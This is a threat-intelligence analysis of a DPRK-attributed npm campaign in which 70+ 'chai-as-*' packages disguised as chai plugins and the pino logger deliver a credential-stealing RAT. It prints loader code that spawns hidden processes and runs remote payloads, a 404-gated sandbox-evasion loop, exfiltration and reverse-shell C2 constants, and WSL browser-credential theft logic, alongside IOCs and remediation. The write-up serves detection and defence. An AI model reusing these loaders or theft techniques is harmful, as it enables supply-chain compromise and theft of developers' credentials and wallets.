The naming convention is the tell. When you see chai-as-promised sitting in a JavaScript testing stack, it reads as legitimate -- part of the chai.js assertion library ecosystem, a plugin someone installed years ago and never thought about again. The North Korean operators behind Contagious Interview understand this. They spent three months publishing over 70 packages whose names follow the exact same pattern: chai-as- followed by a past-participle verb. The packages look like chai plugins. They are Node.js remote access trojans.
Campaign Map
The earliest packages in the set appeared on npm on March 28, 2026 -- a burst of 20+ packages published within a single hour. The most recent, chai-as-persisted, was flagged on June 27, 2026. Between those dates, new packages appeared on six distinct waves with gaps of roughly two to four weeks between each. The full list from the advisories provided:
| First seen (OSV date) | Packages in wave |
|---|---|
| 2026-03-28 | chai-as-deployed, chai-as-tested, chai-as-validated, chai-as-sorted, chai-as-awaited, chai-as-required, chai-as-hashed, chai-as-confirmed, chai-as-sync, chai-as-produced, chai-as-executed, chai-as-enhanced, chai-as-prompt, chai-as-prop, chai-as-resolved, chai-as-constrained, chai-as-extended, chai-as-approved, chai-as-emitted, chai-as-mock, chai-as-proofed, chai-as-flex, chai-as-pause, chai-as-utils, chai-as-added, chai-as-chain, chai-as-advanced, chai-as-chayn |
| 2026-04-01 | chai-as-chains, chai-as-aligned, chai-as-attached |
| 2026-04-27 | chai-as-optimized, chai-as-init, chai-as-evm, chai-as-elevated, chai-as-nobj, chai-as-encrypted, chai-as-stream, chai-as-adapter, chai-as-mobj, chai-as-inserted, chai-as-ide, chai-as-refined, chai-as-chain-v2, chai-as-type |
| 2026-05-07 | chai-as-char, chai-as-redeployed |
| 2026-05-13 | chai-as-streamed |
| 2026-05-15 | chai-as-regulated |
| 2026-05-19 | chai-as-attracted, chai-as-vec |
| 2026-05-21 | chai-as-afforded |
| 2026-05-25 | chai-as-buffer, chai-as-float |
| 2026-05-26 | chai-as-redeploy, chai-as-patch, chai-as-repaired, chai-as-tuned, chai-as-vite |
| 2026-06-01 | chai-as-minted |
| 2026-06-11 | chai-as-victimed |
| 2026-06-17 | chai-as-decrypted, chai-as-polished, chai-as-tokenized |
| 2026-06-20 | chai-as-attested, chai-as-forgeted, chai-as-uphelded |
| 2026-06-24 | chai-as-operated, chai-as-predicted |
| 2026-06-26 | chai-as-built, chai-as-synced |
| 2026-06-27 | chai-as-assured, chai-as-persisted |
The cadence is not coincidental. Each new wave follows the same operational pattern: a burst of 3 to 28 packages published within a narrow window, followed by takedowns of earlier packages (usually within 72 hours -- npm’s self-unpublish window) and a quiet period before the next batch. This mimics a software team’s release cycle, not a one-time attack.
Socket Threat Research tracks the entire cluster under the North Korea’s Contagious Interview Campaign page, placing these alongside more than 1,700 other malicious packages attributed to the same state-directed operation.
Not all of these packages have been removed. chai-as-tested remained live on npm at version 2.3.8 as of June 28, 2026 with a single active maintainer account -- no security-placeholder version has been substituted. Any developer who runs npm install chai-as-tested today receives the malicious package.
The namespace is also expanding beyond the strict chai-as- prefix. chai-pack was identified as part of the same Contagious Interview campaign in the same period, using an identical README template (pino branding, identical “module can be used to format logs” copy). The chai-as-* naming strategy appears to be the central pillar of a broader chai-ecosystem namespace occupation that the operators are extending iteratively.
Naming as Camouflage
chai-as-promised is one of the most widely installed JavaScript test utilities ever published -- over 10,000 npm packages list it as a dependency. Its naming scheme is recognizable to any JavaScript developer: chai-as-<word>, indicating a chai plugin that adds <word>-style assertions. The operators chose the chai-as- prefix deliberately. In a package.json, chai-as-streamed or chai-as-deployed reads as a plausible chai testing plugin. A developer scanning their dependencies for anomalies would need to actively check whether these packages are real chai plugins before dismissing them.
They are not. None of the 70+ packages are real testing utilities. There is no assertion library code anywhere in them. The naming convention is pure camouflage.
Within each package, a second layer of camouflage runs at the internal level. Analysis of the March–April wave packages, recovered from the npm mirror before takedown, confirms that most packages masquerade internally as pino, the popular Node.js structured logger. The packages ship with pino-style README badges, a docs/ directory, and keywords, then alias their main export as module.exports.pino = middleware. A developer who installs one of these packages and glances at the source sees something that resembles a popular open-source logger.
Package Anatomy
The fundamental structure across all packages in the March–April wave is consistent. Each package ships two core files: index.js at the package root and lib/caller.js. The package.json declares no preinstall, install, or postinstall scripts. There is no binding.gyp.
This is the key technical distinction from Miasma and the Shai-Hulud family: these packages do not execute at install time.
function runJobA(args) {
const script = path.resolve(__dirname, './lib/caller.js');
const child = spawn('node', [script, JSON.stringify(args)], {
detached: true,
stdio: 'ignore'
});
child.unref();
}
const middleware = (..._args) => {
runJobA(..._args);
return (_req, _res, next) => { if (typeof next === 'function') next(); };
};
module.exports = middleware;
module.exports.pino = middleware; // pino impersonation aliasThe payload fires at require() time -- when the application imports the package -- not at npm install. lib/caller.js is then spawned as a detached background process, fully detached from the parent process’s stdio. Any monitoring tool that watches only npm install lifecycle hooks, or only checks package.json scripts, sees nothing. The package can sit in a dependency tree for days or weeks without exhibiting install-time behavior, and fires only when the application actually starts.
The one exception is chai-as-encrypted, which uses an IIFE (Immediately Invoked Function Expression) in lib/initializeCaller.js that evaluates inline on require() rather than spawning a child process, and fetches its payload from the npoint[.]io channel.
C2 Architecture: Six Channels, One Campaign
lib/caller.js across the March–April packages resolves to one of six distinct C2 delivery channels. Five distinct loader variants were recovered from the downloaded tarballs (differentiated by lib/caller.js SHA-256). Each package is hard-coded to exactly one channel at publish time.
| Cluster | C2 endpoint | Loader SHA-256 | Packages |
|---|---|---|---|
| FAWPU | https://jsonkeeper[.]com/b/FAWPU | 70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8 | chai-as-adapter, chai-as-chain-v2, chai-as-evm, chai-use-chain, lockedin-chai-chain |
| XRGF3 | https://jsonkeeper[.]com/b/XRGF3 | d81e48769a830cd3384a4b8977ade12e5ab7583eb7cca84e7ab966d15871bd71 | chai-beta, chai-str |
| BADC6 | https://jsonkeeper[.]com/b/BADC6 | 5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23 | trackora-node, trackora-chain, and 11 other packages across the coremesh / relion / syncora / metrify families |
| npoint | https://api.npoint[.]io/2cc8f9fa09a141aafc03 | baa5f96044388ff17a9c84a01ce50ee399cf0c9b146d5c7491e4a23a9eb095b6 | chai-as-encrypted |
| Vercel | http://server-check-genimi.vercel[.]app/defy/v3 | 0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef | express-flowlimit, chai-extensions-extras, gemini-ai-checker, chai-extensions-extra |
| isillegion | https://www.isillegion[.]com | distinct | chai-as-hooked, chai-as-redeployed |
Payloads across channels are not identical. The npoint channel was the only one fully decoded. The FAWPU payload (4,228 chars) is itself a secondary loader, not the final RAT -- it dynamically constructs an additional axios.get() call to fetch a further stage. XRGF3 and BADC6 serve ~90 KB payloads that share structural characteristics -- same RC4+base64 cipher, ~1,292-1,295 string array entries -- but differ in random identifier names, consistent with separate obfuscator runs on the same base code. This architecture is consistent with multiple distinct operators sharing the same package-publishing infrastructure under a single campaign brand.
The Vercel cluster uses a split-config approach: lib/caller.js is shared across all four packages in the cluster (identical SHA-256), and the C2 URL is fragmented across lib/config.js. This fragments the IOC across two files and defeats single-file URL regex detection.
The Vercel cluster also implements the most sophisticated sandbox evasion in the campaign. HTTP GET to the C2 returns HTTP 200 with a benign decoy JSON response: {"token": "<log message>"}. When the C2 is actually serving a payload, it does so via HTTP 404, with the payload embedded in error.response.data.token. Automated sandbox probes that make a single request and check the 200 response see nothing malicious. The payload gate is a network error code.
while (retrycnt > 0) {
try {
const response = await axios.get(src, { headers: { bearrtoken: DEV_DEPENDENCY_TOKEN } });
console.log("Token fetched:", response.data.token); // decoy on HTTP 200
break;
} catch (error) {
retrycnt--;
if (error.response?.status === 404 && error.response.data?.token) {
const handler = new (Function.constructor)("require", error.response.data.token);
handler(require);
break;
}
}
}At the time of initial analysis, the Vercel C2 returned 0/94 VirusTotal engine detections. A C2 that responds clean to every automated probe is effectively invisible to scanners that rely on live URL classification.
Payload Analysis: The npoint RAT
The payload retrieved from the npoint channel -- the only one fully decoded -- is a 2.8 MB cross-platform Node.js RAT (SHA-256: fdb582f16475cb79bebd0dffc48d610430cae2e39e9a3e2abd373b3413691838). It arrives as the value of a cookie field in a JSON HTTP response body served as application/json. The semantic mismatch is deliberate: scanning systems configured to inspect JavaScript payloads by content type pass over a {"cookie":"<2.8MB JS>"} response body.
The payload is obfuscated using obfuscator.io’s short-name variant (single-character variable names: D, y, Q, W, B rather than the default _0x-prefixed hex identifiers) with a 17,131-entry RC4+base64 string table. All meaningful strings -- URLs, credentials, module names, C2 addresses -- are stored encrypted and decoded on demand via wrapper functions. The short-name variant produces a smaller artifact and defeats YARA rules keyed on _0x patterns.
After decryption, recovered from the string table, the payload’s operator constants are:
const u_s = 'http://144.172.110[.]132:8086/upload'; // file exfiltration
const l_s = 'http://144.172.110[.]132:8085/upload'; // browser credential upload
const s_s = 'http://144.172.110[.]132:8087'; // socket.io reverse shell C2
const u_k = 301; // operator key
const t = 3; // tenant/campaign IDThe u_k=301 and t=3 constants are multi-tenancy identifiers -- evidence that this infrastructure serves more than one operator. The C2 panel at 144.172.110[.]132 (a Vultr VPS) accepts connections from multiple tenant deployments simultaneously, each identified by their u_k/t pair. The three-port layout maps directly to three concurrent background scripts spawned at execution:
Script 1 -- ldbScript (browser credential stealer). Targets 13 Chromium-based browsers (Chrome, Brave, Edge, Vivaldi, Opera, and others). Platform-specific AES-256-GCM master key decryption:
- macOS:
security find-generic-password -w -s "<Browser> Safe Storage"against the system Keychain, followed by PBKDF2-SHA1 with saltsaltysaltat 1,003 iterations - Windows: ephemeral PowerShell scripts calling
ProtectedData.Unprotect()via DPAPI in a temp.ps1file - Linux/WSL:
secret-toolor Pythonsecretstorage
Also targets 40 crypto wallet browser extensions, enumerated from the Local Extension Settings directory. Output uploads to http://144.172.110[.]132:8085/upload.
Script 2 -- autoUploadScript (file exfiltrator). Priority scan of Documents, Desktop, and Downloads directories, then full home directory (macOS/Linux) or all drives (Windows via wmic logicaldisk get name). Separate recursive search for .env* files. Uploads all files ≤10 MB to http://144.172.110[.]132:8086/upload. Excludes node_modules, .git, vendor, venv, dist, build.
Script 3 -- socketScript (reverse shell and clipboard monitor). Connects via socket.io-client to ws://144.172.110[.]132:8087. Installs socket.io-client silently via npm install --no-save --loglevel silent if absent. On connect, POSTs host information (hostname, OS, username) to /api/notify. HMAC-SHA256 authenticates all requests using the hardcoded secret SuperStr0ngSecret@)@^.
Remote command dispatch supports directory listing (code 102), authenticated file download (code 107), and arbitrary shell command execution via child_process.exec() with a 300 MB output buffer. Clipboard content is polled every 1 second and POSTed to /api/log on each change.
The three scripts run concurrently, each tracked by a PID lock file at /tmp/pid.<t>.<n>.lock. The tenant ID t is embedded in the lock filename, enabling the operator to selectively start and stop individual scripts per-victim via processControl socket.io events from the C2 panel.
WSL-to-Windows Credential Bridge
Recovered from the npoint stage-3 deobfuscated payload, the is_wsl() detection function checks /proc/version for the string microsoft and the WSL_DISTRO_NAME environment variable. In a WSL context, the browser credential paths are redirected from Linux paths to the Windows filesystem bridge:
if (is_wsl()) {
const windowsUsername = execSync('cmd.exe /c echo %USERNAME%').toString().trim();
chromePaths = [`/mnt/c/Users/${windowsUsername}/AppData/Local/Google/Chrome/User Data/`];
clipboardCmd = 'PowerShell.exe Get-Clipboard';
}A developer running Node.js inside WSL has their Windows host’s Chrome and Brave credentials, wallet extension data, and clipboard contents exfiltrated by the npm package. The Linux process reads Windows filesystem paths through the /mnt/c/ mount. No prior documented npm malware implements this credential-bridge pattern -- prior WSL detection in malware stops at sandbox evasion (stop executing), not cross-boundary theft.
Payload Evolution Across Waves
The March–April wave architecture -- runtime-triggered require() execution, no postinstall hook, six distinct C2 channels -- is documented in detail above. The May–June wave packages retain the same Contagious Interview attribution but surface in different security database groupings that point to payload evolution.
Snyk clusters chai-as-streamed (May 13) with the “TanStack Supply Chain Compromise” rather than the March wave, which is an artifact of when Snyk’s database processed the advisory rather than a technical re-attribution. Socket continues to assign all packages to the North Korea’s Contagious Interview Campaign regardless of wave. The dprk-research.kmsec.uk feed shows the broader campaign switching through multiple loader families (HexEval, XORIndex, and others) across the same March–June 2026 timeframe.
The core behavioral signature -- require()-time execution of a detached Node.js child process that retrieves an obfuscated payload from a remote C2 -- is present across every wave. C2 URLs rotate between waves; the jsonkeeper[.]com, npoint[.]io, isillegion[.]com, and vercel[.]app channels documented in March were likely rotated as they were burned by detection and takedown. The later wave packages almost certainly point to different C2 endpoints behind the same pattern.
The --ignore-scripts flag does not stop any of these packages from executing. The trigger is not a lifecycle script.
The 27 packages in the initial March–April jsonspack wave all share hello@jsonspack[.]com as the author email in package.json. Eight distinct throwaway npm publisher accounts were identified, each using disposable email provider domains that appear across the broader DPRK Contagious Interview cluster tracked by the dprk-research.kmsec.uk intelligence feed:
corvettdan1963@inlook.cloud-- publishedchai-as-adapter,chai-as-chain-v2,chai-as-evmmwai2005@officecombine.com-- publishedchai-use-chainwovon16983@marvetos.com-- publishedtrackora-chain,trackora-nodemexowoj971@izkat.com-- publishedchai-strborire8128@jsncos.com-- publishedchai-betajghff@smartretireway.com-- publishedlockedin-chai-chainthyfaultkathy4263@hotmail.com-- publishedexpress-flowlimit,chai-extensions-extras,chai-extensions-extra,gemini-ai-checker
The disposable email provider domains -- inlook.cloud, officecombine.com, marvetos.com, izkat.com, jsncos.com -- are campaign-consistent throwaway providers appearing across the full 163-package set the kmsec feed attributes to DPRK/Lazarus Famous Chollima for the March–April 2026 period.
The 14 packages that carry hello@jsonspack[.]com in their package.json author field were published by multiple of these accounts -- the shared author email functions as a campaign brand across otherwise distinct publisher identities. This is consistent with the Contagious Interview playbook documented across other waves: operator email accounts change per batch, but a shared author-contact field in package.json metadata ties the cluster together.
Timeline and Persistence
The campaign ran continuously for at least 91 days across the 70+ packages listed in the advisories provided. Each wave follows a self-cleanup pattern: most packages in the March–April wave were self-unpublished within 72 hours of publish -- the window during which npm allows package owners to remove their own publications. The operators appear to rotate through publish-and-retract cycles deliberately, seeding exposure for a short window then cleaning their trail before detection.
Several packages survived beyond the 72-hour window, which requires npm security team intervention for removal. gemini-ai-checker remained live for 301.6 hours, indicating it was not self-removed and required external action.
The sustained cadence distinguishes this cluster from one-off supply chain attacks. New packages continue appearing on the same naming pattern through late June 2026 -- the most recently flagged, chai-as-persisted (MAL-2026-6544), was published June 27, 2026, the day before this analysis. The operators have not stopped.
Attribution
Verdict: DPRK / Lazarus Group (Famous Chollima) -- high confidence.
The attribution chain runs through four independent confirmation paths. First, the publisher email domains (inlook.cloud, officecombine.com, marvetos.com, izkat.com) are consistently flagged across the full DPRK-attributed cluster in the kmsec.uk threat intelligence feed, which tracked 163 packages across the same March–April 2026 publish window. Second, the hello@jsonspack[.]com shared author email appears as a campaign brand in the same way other DPRK Contagious Interview clusters use shared contact identifiers across otherwise distinct publisher accounts. Third, the payload architecture -- 40-crypto-wallet-extension targeting, Brave browser emphasis, 1-second clipboard polling, and socket.io-based live surveillance C2 -- is consistent with the BeaverTail/OtterCookie toolchain attributed to Famous Chollima across multiple independent analyses (Cisco Talos, Microsoft Threat Intelligence, Socket Research). Fourth, Socket’s campaign tracker lists the chai-as-deployed and associated packages under the North Korea Contagious Interview Campaign page, based on matching publisher fingerprints and payload behavior.
The C2 infrastructure (144.172.110[.]132, Vultr VPS) is distinct from prior OtterCookie infrastructure documented in the Vercel-based waves. The multi-tenant architecture (u_k, t constants) has not been documented in TeamPCP’s Miasma campaign, which is a self-spreading worm -- a fundamentally different operational model. These are two parallel npm threat operations with unrelated infrastructure, unrelated payloads, and unrelated TTPs that happen to be active simultaneously. The naming similarity of their targets (both touch JavaScript developer tooling) reflects ecosystem opportunity, not collaboration.
IOC Table
| Type | Value | Method |
|---|---|---|
| C2 IP | 144.172.110[.]132 | Recovered from npoint stage-3 payload deobfuscation; confirmed as Vultr VPS |
| C2 port | 8085 -- browser credential upload | Extracted from l_s constant in deobfuscated stage-3 |
| C2 port | 8086 -- file exfiltration | Extracted from u_s constant in deobfuscated stage-3 |
| C2 port | 8087 -- socket.io reverse shell | Extracted from s_s constant in deobfuscated stage-3 |
| C2 domain | server-check-genimi.vercel[.]app | Extracted from Vercel cluster lib/config.js; Vercel-hosted staging endpoint |
| C2 domain | www.isillegion[.]com | Extracted from chai-as-hooked and chai-as-redeployed loader source |
| Payload host | api.npoint[.]io/2cc8f9fa09a141aafc03 | Extracted from chai-as-encrypted loader source |
| Payload host | jsonkeeper[.]com/b/FAWPU | Extracted from FAWPU cluster lib/caller.js |
| Payload host | jsonkeeper[.]com/b/XRGF3 | Extracted from XRGF3 cluster lib/caller.js |
| Payload host | jsonkeeper[.]com/b/BADC6 | Extracted from BADC6 cluster lib/const.js |
| HMAC secret | SuperStr0ngSecret@)@^ | Extracted from npoint stage-3 deobfuscated string table |
| HTTP header | bearrtoken: DEV_DEPENDENCY_TOKEN | Extracted from Vercel cluster lib/caller.js; sent in all C2 GET requests |
| Stage-3 payload SHA-256 | fdb582f16475cb79bebd0dffc48d610430cae2e39e9a3e2abd373b3413691838 | Retrieved from npoint channel; confirmed by SHA-256 of extracted JS |
| Loader SHA-256 | 70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8 | FAWPU variant lib/caller.js |
| Loader SHA-256 | d81e48769a830cd3384a4b8977ade12e5ab7583eb7cca84e7ab966d15871bd71 | XRGF3 variant lib/caller.js |
| Loader SHA-256 | 5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23 | BADC6 variant lib/caller.js |
| Loader SHA-256 | baa5f96044388ff17a9c84a01ce50ee399cf0c9b146d5c7491e4a23a9eb095b6 | npoint variant lib/caller.js |
| Loader SHA-256 | 0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef | Vercel variant lib/caller.js |
| Author email | hello@jsonspack[.]com | Present in package.json author field across 14 of 27 March-April wave packages |
| Publisher domain | inlook.cloud | corvettdan1963@inlook.cloud -- publisher of chai-as-adapter, chai-as-chain-v2, chai-as-evm |
| Publisher domain | officecombine.com | mwai2005@officecombine.com -- publisher of chai-use-chain |
| Publisher domain | marvetos.com | wovon16983@marvetos.com -- publisher of trackora-chain, trackora-node |
| File path | /tmp/pid.<t>.<n>.lock | Created by the three-script RAT orchestration at execution |
| Lock file | /tmp/pid.3.1.lock, /tmp/pid.3.2.lock, /tmp/pid.3.3.lock | Tenant ID t=3 embedded in lock filenames |
| Operator constant | u_k = 301 | Extracted from npoint stage-3 deobfuscated string table |
| Operator constant | t = 3 | Extracted from npoint stage-3 deobfuscated string table |
| Operator reverse DNS | gifted-rhodes.144-172-110-132.plesk.page | Reverse DNS of C2 VPS; Plesk control panel |
| WSL credential path | /mnt/c/Users/<user>/AppData/Local/Google/Chrome/User Data/ | Extracted from WSL-bridge code in npoint stage-3 |
Affected Packages (Advisories)
| Package | OSV | Published |
|---|---|---|
chai-as-persisted | MAL-2026-6544 | 2026-06-27 |
chai-as-assured | MAL-2026-6532 | 2026-06-27 |
chai-as-synced | MAL-2026-6497 | 2026-06-26 |
chai-as-built | MAL-2026-6465 | 2026-06-26 |
chai-as-predicted | MAL-2026-6393 | 2026-06-24 |
chai-as-operated | MAL-2026-6350 | 2026-06-24 |
chai-as-attested | MAL-2026-6218 | 2026-06-20 |
chai-as-uphelded | MAL-2026-6220 | 2026-06-20 |
chai-as-forgeted | MAL-2026-6219 | 2026-06-20 |
chai-as-tokenized | MAL-2026-5902 | 2026-06-17 |
chai-as-polished | MAL-2026-5901 | 2026-06-17 |
chai-as-decrypted | MAL-2026-5900 | 2026-06-17 |
chai-as-victimed | MAL-2026-5605 | 2026-06-11 |
chai-as-minted | MAL-2026-5106 | 2026-06-01 |
chai-as-patch | MAL-2026-4511 | 2026-05-26 |
chai-as-tuned | MAL-2026-4513 | 2026-05-26 |
chai-as-repaired | MAL-2026-4512 | 2026-05-26 |
chai-as-vite | MAL-2026-4514 | 2026-05-26 |
chai-as-redeploy | MAL-2026-4307 | 2026-05-25 |
chai-as-float | MAL-2026-4293 | 2026-05-25 |
chai-as-buffer | MAL-2026-4292 | 2026-05-25 |
chai-as-afforded | MAL-2026-4222 | 2026-05-21 |
chai-as-attracted | MAL-2026-4167 | 2026-05-19 |
chai-as-vec | MAL-2026-4168 | 2026-05-19 |
chai-as-regulated | MAL-2026-3753 | 2026-05-15 |
chai-as-streamed | MAL-2026-3657 | 2026-05-13 |
chai-as-char | MAL-2026-3164 | 2026-05-07 |
chai-as-redeployed | MAL-2026-3165 | 2026-05-07 |
chai-as-optimized | MAL-2026-2895 | 2026-04-27 |
chai-as-init | MAL-2026-2891 | 2026-04-27 |
chai-as-evm | MAL-2026-2889 | 2026-04-27 |
chai-as-elevated | MAL-2026-2887 | 2026-04-27 |
chai-as-nobj | MAL-2026-2894 | 2026-04-27 |
chai-as-encrypted | MAL-2026-2888 | 2026-04-27 |
chai-as-stream | MAL-2026-2896 | 2026-04-27 |
chai-as-adapter | MAL-2026-2885 | 2026-04-27 |
chai-as-mobj | MAL-2026-2893 | 2026-04-27 |
chai-as-inserted | MAL-2026-2892 | 2026-04-27 |
chai-as-ide | MAL-2026-2890 | 2026-04-27 |
chai-as-refined | MAL-2026-2641 | 2026-04-27 |
chai-as-chain-v2 | MAL-2026-2886 | 2026-04-27 |
chai-as-type | MAL-2026-2740 | 2026-04-27 |
chai-as-chains | MAL-2026-2339 | 2026-04-01 |
chai-as-aligned | MAL-2026-2337 | 2026-04-01 |
chai-as-attached | MAL-2026-2338 | 2026-04-01 |
chai-as-deploy | MAL-2025-192722 | 2026-03-28 |
chai-as-produced | MAL-2026-1668 | 2026-03-28 |
chai-as-executed | MAL-2026-337 | 2026-03-28 |
chai-as-enhanced | MAL-2026-239 | 2026-03-28 |
chai-as-prompt | MAL-2026-1669 | 2026-03-28 |
chai-as-prop | MAL-2026-1670 | 2026-03-28 |
chai-as-resolved | MAL-2026-1671 | 2026-03-28 |
chai-as-tested | MAL-2025-192723 | 2026-03-28 |
chai-as-constrained | MAL-2026-1576 | 2026-03-28 |
chai-as-extended | MAL-2026-584 | 2026-03-28 |
chai-as-approved | MAL-2026-832 | 2026-03-28 |
chai-as-emitted | MAL-2026-2154 | 2026-03-28 |
chai-as-confirmed | MAL-2026-1218 | 2026-03-28 |
chai-as-sync | MAL-2026-1672 | 2026-03-28 |
chai-as-hashed | MAL-2026-564 | 2026-03-28 |
chai-as-validated | MAL-2025-192724 | 2026-03-28 |
chai-as-chayn | MAL-2026-1975 | 2026-03-28 |
chai-as-mock | MAL-2026-1191 | 2026-03-28 |
chai-as-sorted | MAL-2025-55022 | 2026-03-28 |
chai-as-proofed | MAL-2026-1192 | 2026-03-28 |
chai-as-flex | MAL-2026-1343 | 2026-03-28 |
chai-as-pause | MAL-2026-1013 | 2026-03-28 |
chai-as-awaited | MAL-2025-192622 | 2026-03-28 |
chai-as-required | MAL-2026-73 | 2026-03-28 |
chai-as-deployed | MAL-2025-192318 | 2026-03-28 |
chai-as-utils | MAL-2026-1030 | 2026-03-28 |
chai-as-added | MAL-2026-2249 | 2026-03-28 |
chai-as-chain | MAL-2026-2160 | 2026-03-28 |
chai-as-advanced | MAL-2026-764 | 2026-03-28 |
Remediation
Any machine that imported one of these packages -- not merely installed it -- should be treated as compromised. The payload fires at require() time, not npm install. A package that was installed months ago and is imported by a development server, a test runner, or a build tool represents an active risk today even if npm install was never re-run.
Priority actions: rotate all browser credentials (Chrome, Brave, Edge) accessible from the affected machine. Rotate all crypto wallet seed phrases and recovery keys. Rotate npm tokens, GitHub PATs, and any cloud credentials in .env files reachable from the machine’s filesystem. If the machine runs WSL, treat all Windows host browser credentials and clipboard history as compromised.
Investigate whether any of the 70+ package names appear in package.json, package-lock.json, or yarn.lock files across your repositories. Check for /tmp/pid.*.*.lock files on developer machines and CI runners. Monitor for outbound connections to 144.172.110[.]132 on ports 8085, 8086, and 8087. Any socket.io-client installation triggered by a background Node.js process outside of a normal application startup is a confirmation indicator.
The campaign is active as of this writing. New packages appeared the day before this post was published.
